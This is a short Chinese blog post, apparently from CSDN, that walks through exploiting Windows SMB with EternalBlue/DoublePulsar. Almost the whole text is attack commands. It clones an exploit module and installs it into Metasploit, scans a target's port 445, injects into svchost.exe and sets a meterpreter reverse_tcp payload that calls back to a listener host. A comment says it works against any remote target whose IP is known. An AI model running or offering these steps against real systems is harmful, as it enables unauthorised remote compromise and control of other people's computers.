版权声明：转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396602
参考：
https://www.youtube.com/watch?v=goUVgchVGB0
https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
https://github.com/LionSec/xerosploit（没有xerosploit可以通过这里获取）
更多详细内容：http://www.jianshu.com/p/a34a3d560ffd
cd /tmp
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
mv eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb
xerosploit
scan
目标IP
pscan
run
#确认一下目标的445端口是open的
#可以使用其他工具做探测，也可以对远程目标打击，只要获取目标IP就好
msfconsole
use exploit/windows/smb/eternalblue_doublepulsar
set rhost 目标IP
set PROCESSINJECT svchost.exe
set payload windows/meterpreter/reverse_tcp
set lhost 监听者IP
exploit
